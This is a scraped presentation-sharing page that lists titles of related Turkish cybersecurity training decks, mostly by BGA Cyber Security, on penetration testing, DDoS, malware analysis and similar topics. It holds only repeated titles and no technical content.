Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12BGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
Kablosuz Ağlara Yapılan Saldırılar
Kablosuz Ağlara Yapılan SaldırılarKablosuz Ağlara Yapılan Saldırılar
Kablosuz Ağlara Yapılan SaldırılarBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19BGA Cyber Security
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiBGA Cyber Security
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıAhmet Gürel
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA Cyber Security
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18BGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziBGA Cyber Security
 

La actualidad más candente (20)

GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Kablosuz Ağlara Yapılan Saldırılar
Kablosuz Ağlara Yapılan SaldırılarKablosuz Ağlara Yapılan Saldırılar
Kablosuz Ağlara Yapılan Saldırılar
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama Güvenliği
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim Dökümanı
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
 

Destacado

DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiDDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiBGA Cyber Security
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak DerslerBGA Cyber Security
 
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECSosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECBGA Cyber Security
 
DOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriDOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriBGA Cyber Security
 
Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri BGA Cyber Security
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıBGA Cyber Security
 
DoS ve DDoS Saldırıları ve Korunma Yöntemleri
DoS ve DDoS Saldırıları ve Korunma YöntemleriDoS ve DDoS Saldırıları ve Korunma Yöntemleri
DoS ve DDoS Saldırıları ve Korunma YöntemleriBGA Cyber Security
 
SynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıSynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıBGA Cyber Security
 
Pfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiPfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiBGA Cyber Security
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat UlugayFuat Ulugay, CISSP
 
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriAdli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriBGA Cyber Security
 
DDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma YollarıDDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma Yollarınetsec
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBGA Cyber Security
 

Destacado (20)

DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiDDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
 
Web Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liğiWeb Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liği
 
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECSosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
 
DOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriDOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma Yöntemleri
 
Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
Kablosuz Ağlarda Güvenlik
Kablosuz Ağlarda GüvenlikKablosuz Ağlarda Güvenlik
Kablosuz Ağlarda Güvenlik
 
DoS ve DDoS Saldırıları ve Korunma Yöntemleri
DoS ve DDoS Saldırıları ve Korunma YöntemleriDoS ve DDoS Saldırıları ve Korunma Yöntemleri
DoS ve DDoS Saldırıları ve Korunma Yöntemleri
 
SynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıSynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma Yolları
 
Pfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiPfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router Eğitimi
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat Ulugay
 
Web 2.0 Güvenliği
Web 2.0 GüvenliğiWeb 2.0 Güvenliği
Web 2.0 Güvenliği
 
BGA Eğitim Sunum
BGA Eğitim SunumBGA Eğitim Sunum
BGA Eğitim Sunum
 
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriAdli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
 
DDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma YollarıDDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma Yolları
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma Testleri
 

Similar a WEB ve MOBİL SIZMA TESTLERİ

Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiBGA Cyber Security
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıMobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıBGA Cyber Security
 
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web ApplicationBGA Cyber Security
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ BGA Cyber Security
 
Windows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziBGA Cyber Security
 
W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIBGA Cyber Security
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...BGA Cyber Security
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfMert339194
 
Web Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiWeb Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiBGA Cyber Security
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıBGA Cyber Security
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriBGA Cyber Security
 
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBaşarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBGA Cyber Security
 
Güvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya YüklemeGüvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya YüklemeBGA Cyber Security
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuBGA Cyber Security
 

Similar a WEB ve MOBİL SIZMA TESTLERİ (20)

Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıMobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
 
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application
8 Ocak 2015 SOME Etkinligi - BGA Bank Vulnerable Web Application
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
Windows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım Analizi
 
W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – II
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
 
.Net ile yazılım güvenliği
.Net ile yazılım güvenliği.Net ile yazılım güvenliği
.Net ile yazılım güvenliği
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdf
 
Web Application Firewall Tercih Rehberi
Web Application Firewall Tercih RehberiWeb Application Firewall Tercih Rehberi
Web Application Firewall Tercih Rehberi
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru EntegrasyonuBaşarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
Başarılı Bir Savunma İçin Güvenlik Ürünlerinin Doğru Entegrasyonu
 
Güvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya YüklemeGüvenli Yazılım Geliştirmede Dosya Yükleme
Güvenli Yazılım Geliştirmede Dosya Yükleme
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 

Más de BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 

Más de BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
